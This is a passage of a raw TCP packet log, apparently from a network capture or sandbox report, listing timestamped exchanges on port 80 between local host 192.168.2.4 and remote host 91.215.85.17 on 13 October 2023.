Oct 13, 2023 16:05:55.956583023 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.956598043 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.956645966 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.956681967 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.956733942 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.956804037 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.956856966 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.956864119 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.956896067 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.956912994 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.956943035 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.957011938 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.957061052 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.957096100 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.957127094 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.957153082 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.957191944 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.957241058 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.957287073 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.957290888 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.957343102 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.957344055 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.957391977 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.957397938 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.957447052 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.957473040 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.957520962 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.957542896 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.957601070 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.957674026 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.957724094 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.957726955 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.957772017 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.957856894 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.957907915 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.957925081 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.957973957 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.958004951 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.958065033 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.958084106 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.958133936 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.958184004 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.958234072 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.958285093 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.958340883 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.958360910 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.958412886 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.958442926 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.958483934 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.958492994 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.958529949 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.958544016 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.958592892 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.958625078 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.958672047 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.958722115 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.958770990 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.958842039 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.958890915 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.958916903 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.959011078 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.959016085 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.959047079 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.959069967 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.959100008 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.959136009 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.959186077 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.959211111 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.959263086 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.959300041 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.959347010 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.959387064 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.959427118 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.959443092 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.959487915 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.959527016 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.959569931 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.959609032 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.959651947 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.959706068 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.959757090 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.959767103 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.959809065 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.959882021 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.959920883 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.959934950 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.959964991 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.959974051 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.960015059 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.960036039 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.960081100 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.960134983 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.960182905 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.960208893 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.960249901 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.960258961 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.960299015 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.960325956 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.960370064 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.960392952 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.960438967 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.960459948 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.960510015 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.960527897 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.960567951 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.960601091 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.960637093 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.960699081 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.960735083 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.960798025 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.960820913 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.960851908 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.960872889 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.960923910 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.960994005 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.961034060 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.961045027 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.961081982 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.961095095 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.961138964 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.961150885 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.961180925 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.961246014 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.961301088 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.961337090 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.961385012 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.961395979 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.961445093 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.961451054 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.961500883 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.961507082 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.961540937 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.961541891 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.961586952 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.961622953 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.961663008 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.961673975 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.961709976 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.961760044 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.961807966 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.961868048 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.961916924 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.961929083 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.961976051 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.961997986 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.962045908 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.962064981 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.962112904 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.962122917 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.962178946 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.962194920 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.962229013 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.962244987 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.962275982 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.962281942 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.962328911 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.962388992 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.962425947 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.962447882 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.962482929 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.965684891 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.967578888 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.236459970 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.236557961 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.236599922 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.236618996 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.236654043 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.236659050 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.236706018 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.236706018 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.236890078 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.236943007 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.236973047 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.237027884 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.237046003 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.237102032 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.237128019 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.237185955 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.237205029 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.237260103 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.237328053 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.237390995 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.237395048 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.237449884 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.237485886 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.237540007 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.237673998 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.237726927 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.237807989 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.237860918 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.237880945 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.237931967 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.237988949 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.238042116 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.238078117 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.238131046 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.238152981 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.238207102 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.238208055 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.238255978 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.238285065 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.238343000 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.238365889 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.238394976 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.238421917 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.238475084 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.238492012 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.238509893 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.238544941 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.238576889 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.238584995 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.238615036 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.238637924 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.238670111 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.238729000 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.238774061 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.238782883 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.238825083 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.238859892 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.238912106 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.238931894 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.238981962 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.238982916 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.239034891 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.239078045 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.239109039 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.239130974 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.239156008 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.239162922 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.239217043 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.239244938 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.239309072 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.239343882 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.239394903 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.239445925 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.239491940 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.239506006 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.239536047 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.239557028 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.239612103 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.239639044 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.239669085 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.239692926 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.239723921 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.239758015 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.239821911 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.239840984 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.239892960 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.239928007 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.239965916 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.239974976 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.240010023 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.240015984 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.240056992 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.240200043 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.240219116 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.240256071 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.240288019 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.240313053 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.240359068 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.240379095 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.240423918 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.240467072 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.240510941 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.240581989 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.240628004 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.240648985 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.240695953 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.240724087 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.240767002 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.240808964 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.240854979 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.240896940 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.240941048 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.240983963 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.241028070 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.241089106 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.241133928 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.241163015 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.241216898 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.241220951 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.241261005 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.241291046 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.241324902 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.241336107 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.241374016 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.241399050 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.241442919 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.241514921 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.241560936 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.241565943 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.241611004 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.241638899 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.241682053 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.241708040 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.241739035 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.241786957 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.241796017 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.241839886 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.241853952 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.241895914 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.242022038 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.242048025 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.242072105 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.242094040 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.242114067 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.242156982 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.242168903 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.242212057 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.242269993 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.242314100 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.242340088 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.242382050 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.242420912 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.242465019 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.242499113 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.242544889 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.242569923 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.242610931 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.242638111 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.242681026 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.242706060 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.242757082 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.242783070 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.242827892 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.242851973 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.242892027 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.243006945 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.243048906 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.243252039 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.243299007 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.243355036 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.243467093 CEST	49762	80	192.168.2.4	91.215.85.17
